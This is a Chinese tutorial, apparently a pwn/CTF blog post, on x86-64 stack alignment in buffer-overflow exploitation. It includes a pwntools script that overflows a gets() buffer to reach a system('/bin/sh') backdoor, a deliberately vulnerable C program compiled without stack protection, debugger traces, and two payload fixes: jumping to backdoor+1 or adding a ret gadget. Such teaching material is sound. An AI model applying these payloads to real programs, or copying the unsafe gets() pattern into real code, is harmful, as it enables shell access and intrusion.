前言
在上一节中为了成功执行 payload,我们在 exp.py 中加入了 ret 指令,今天我们将继续深入了解栈对齐的问题。
栈对齐
1
2
3
4
5
6
7
8
9
10
11
12
| from pwn import *
p = process("./main") # 启动程序
backdoor = 0x401170 # backdoor 函数的地址
# 0x000000000040101a : ret
ret = 0x40101a
payload = b"a" * (0x10 + 0x8) + p64(backdoor) # 填充到 0x10 字节 + 8 字节的返回地址
p.sendline(payload) # 发送 payload
p.interactive() # 进入交互模式
|
开始调试后一直跟踪到发现卡住无法调试了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
► 0x7f740018ffb5 movaps xmmword ptr [rsp], xmm1 <[0x7fffa6e14238] not aligned to 16 bytes>
0x7f740018ffb9 lock cmpxchg dword ptr [rip + 0x1955bf], edx
0x7f740018ffc1 jne 0x7f74001902c0 <0x7f74001902c0>
0x7f740018ffc7 mov eax, dword ptr [rip + 0x1955b7] EAX, [0x7f7400325584] => 0
0x7f740018ffcd lea edx, [rax + 1] EDX => 1
0x7f740018ffd0 mov dword ptr [rip + 0x1955ae], edx [0x7f7400325584] <= 1
0x7f740018ffd6 test eax, eax 0 & 0 EFLAGS => 0x10246 [ cf PF af ZF sf IF df of ]
0x7f740018ffd8 ✔ je 0x7f7400190190 <0x7f7400190190>
↓
0x7f7400190190 lea rsi, [rsp + 0x190] RSI => 0x7fffa6e143c8 ◂— 1
0x7f7400190198 lea rdx, [rip + 0x1954a1] RDX => 0x7f7400325640 ◂— 0
0x7f740019019f mov edi, 2 EDI => 2
|
当前 PC 指针指向的指令 movaps xmmword ptr [rsp], xmm1
movaps 指令要求操作数必须是 16 字节对齐的。xmmword ptr [rsp], xmm1 表示将 xmm1 寄存器的内容存储到栈顶(rsp)指向的地址。
这里 gdb 给出的提示是 not aligned to 16 bytes,这意味着 rsp 的值没有对齐到 16 字节。
1
2
| pwndbg> p $rsp
$1 = (void *) 0x7fffa6e14238
|
rsp 的值是 0x7fffa6e14238,这个地址不是 16 字节对齐的(16 字节对齐的地址应该是 0x0、0x10、0x20 等等)。
那么为什么会出现这种情况呢?让我们写一个简单的程序来观察以下
1
2
3
4
5
6
7
8
9
10
11
12
13
| #include <stdio.h>
#include <stdlib.h>
int main() {
char name[0x8];
gets(name);
backdoor();
return 0;
}
void backdoor() {
system("/bin/sh");
}
|
使用以下命令来进行编译:
1
| gcc main.c -o main -fno-stack-protector -no-pie -std=c89
|
反编译 main 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| ~/C/cpp ❯❯❯ objdump -d -M intel --disassemble=main main
main: 文件格式 elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .text:
0000000000401136 <main>:
401136: 55 push rbp
401137: 48 89 e5 mov rbp,rsp
40113a: 48 83 ec 10 sub rsp,0x10
40113e: 48 8d 45 f8 lea rax,[rbp-0x8]
401142: 48 89 c7 mov rdi,rax
401145: e8 f6 fe ff ff call 401040 <gets@plt>
40114a: b8 00 00 00 00 mov eax,0x0
40114f: e8 07 00 00 00 call 40115b <backdoor>
401154: b8 00 00 00 00 mov eax,0x0
401159: c9 leave
40115a: c3 ret
Disassembly of section .fini:
|
让我们把目光放在这两行汇编代码身上
1
2
| 40113a: 48 83 ec 10 sub rsp,0x10
40113e: 48 8d 45 f8 lea rax,[rbp-0x8]
|
在程序中我们使用 char name[0x8] 声明了一个字符数组 name,它的大小是 8 字节。但是在我们反汇编出来的程序中 sub rsp, 0x10 却开辟了 0x10 字节的栈空间。
x86-64 ABI 文档
The end of the input argument area shall be aligned on a 16 (32, if __m256 is
passed on stack) byte boundary. In other words, the value (%rsp + 8) is always
a multiple of 16 (32) when control is transferred to the function entry point. The
stack pointer, %rsp, always points to the end of the latest allocated stack frame.
ABI 文档中明确中指出,在函数调用 call 前,rsp 的边界必须是 16 字节对齐的
call 指令可以被拆解为:
1
2
| push eip
jmp function
|
所以当执行到被调用函数内部时,函数内部的 rsp 应该指向 call 之前 rsp - 8 的位置
当调用 backdoor 函数时:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| ─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
b+ 0x40113a <main+4> sub rsp, 0x10 RSP => 0x7fffffffdfc0 (0x7fffffffdfd0 - 0x10)
0x40113e <main+8> lea rax, [rbp - 8] RAX => 0x7fffffffdfc8 —▸ 0x7ffff7fe49a0 ◂— endbr64
0x401142 <main+12> mov rdi, rax RDI => 0x7fffffffdfc8 —▸ 0x7ffff7fe49a0 ◂— endbr64
0x401145 <main+15> call gets@plt <gets@plt>
0x40114a <main+20> mov eax, 0 EAX => 0
► 0x40114f <main+25> call backdoor <backdoor>
rdi: 0x7fffffffdfc9 ◂— 0x7000007f00646362 /* 'bcd' */
rsi: 0x6463
rdx: 0x7ffff7f687c0 ◂— 0
rcx: 0x7ffff7f687c0 ◂— 0
0x401154 <main+30> mov eax, 0 EAX => 0
0x401159 <main+35> leave
0x40115a <main+36> ret
0x40115b <backdoor> push rbp
0x40115c <backdoor+1> mov rbp, rsp
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ rsp 0x7fffffffdfc0 ◂— 0
01:0008│ rdi-1 0x7fffffffdfc8 ◂— 0x7f0064636261 /* 'abcd' */
02:0010│ rbp 0x7fffffffdfd0 —▸ 0x7fffffffe070 —▸ 0x7fffffffe0d0 ◂— 0
03:0018│+008 0x7fffffffdfd8 —▸ 0x7ffff7da76b5 ◂— mov edi, eax
04:0020│+010 0x7fffffffdfe0 —▸ 0x7ffff7fc6000 ◂— 0x3010102464c457f
05:0028│+018 0x7fffffffdfe8 —▸ 0x7fffffffe0f8 —▸ 0x7fffffffe525 ◂— '/home/lhon901/Code/cpp/main'
06:0030│+020 0x7fffffffdff0 ◂— 0x1ffffe030
07:0038│+028 0x7fffffffdff8 —▸ 0x401136 (main) ◂— push rbp
|
此时的 rsp 值为 0x7fffffffdfc0,rsp - 8 的值为 0x7fffffffdfc8,这时的 rsp 是 16 字节对齐的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| ─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
0x40114a <main+20> mov eax, 0 EAX => 0
0x40114f <main+25> call backdoor <backdoor>
0x401154 <main+30> mov eax, 0 EAX => 0
0x401159 <main+35> leave
0x40115a <main+36> ret
► 0x40115b <backdoor> push rbp
0x40115c <backdoor+1> mov rbp, rsp RBP => 0x7fffffffdfb0 —▸ 0x7fffffffdfd0 —▸ 0x7fffffffe070 —▸ 0x7fffffffe0d0 ◂— ...
0x40115f <backdoor+4> lea rax, [rip + 0xe9e] RAX => 0x402004 ◂— 0x68732f6e69622f /* '/bin/sh' */
0x401166 <backdoor+11> mov rdi, rax RDI => 0x402004 ◂— 0x68732f6e69622f /* '/bin/sh' */
0x401169 <backdoor+14> call system@plt <system@plt>
0x40116e <backdoor+19> nop
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ rsp 0x7fffffffdfb8 —▸ 0x401154 (main+30) ◂— mov eax, 0
01:0008│-010 0x7fffffffdfc0 ◂— 0
02:0010│ rdi-1 0x7fffffffdfc8 ◂— 0x7f0064636261 /* 'abcd' */
03:0018│ rbp 0x7fffffffdfd0 —▸ 0x7fffffffe070 —▸ 0x7fffffffe0d0 ◂— 0
04:0020│+008 0x7fffffffdfd8 —▸ 0x7ffff7da76b5 ◂— mov edi, eax
05:0028│+010 0x7fffffffdfe0 —▸ 0x7ffff7fc6000 ◂— 0x3010102464c457f
06:0030│+018 0x7fffffffdfe8 —▸ 0x7fffffffe0f8 —▸ 0x7fffffffe525 ◂— '/home/lhon901/Code/cpp/main'
07:0038│+020 0x7fffffffdff0 ◂— 0x1ffffe030
|
此时 rsp 的值为 0x7fffffffdfb8,rsp 此时不是 16 字节对齐的。
解决方案
为了避免栈对齐引起的问题,这里给出两种方式
backdoor 函数调用时地址 + 1
1
| payload = b"a" * (0x10 + 0x8) + p64(backdoor + 1)
|
backdoor 反编译代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| $ objdump -d -M intel --disassemble=backdoor main
main: 文件格式 elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .text:
000000000040115b <backdoor>:
40115b: 55 push rbp
40115c: 48 89 e5 mov rbp,rsp
40115f: 48 8d 05 9e 0e 00 00 lea rax,[rip+0xe9e] # 402004 <_IO_stdin_used+0x4>
401166: 48 89 c7 mov rdi,rax
401169: e8 c2 fe ff ff call 401030 <system@plt>
40116e: 90 nop
40116f: 5d pop rbp
401170: c3 ret
Disassembly of section .fini:
|
因为我们是通过直接覆盖返回地址的操作来劫持到 backdoor 函数的,没有通过 call 指令,自然 push rip 这一步操作就不会发生,所以我们需要跳过 backdoor + 1 这条指令 (push rbp) 来阻止栈的增长,这样一来栈的结构还是 16 字节对齐的。
在劫持到 backdoor 函数之前加入 ret 指令
1
| payload = b"a" * (0x10 + 0x8) + p64(ret) + p64(backdoor)
|
ret 指令会将栈顶 rsp 的值弹出到 rip 中,然后继续执行 backdoor 函数。因为 ret 指令会将栈顶的值弹出到 rip 中,rsp 会减少 (rsp + 8) 所以在执行 backdoor 函数之前,栈的结构仍然是 16 字节对齐的。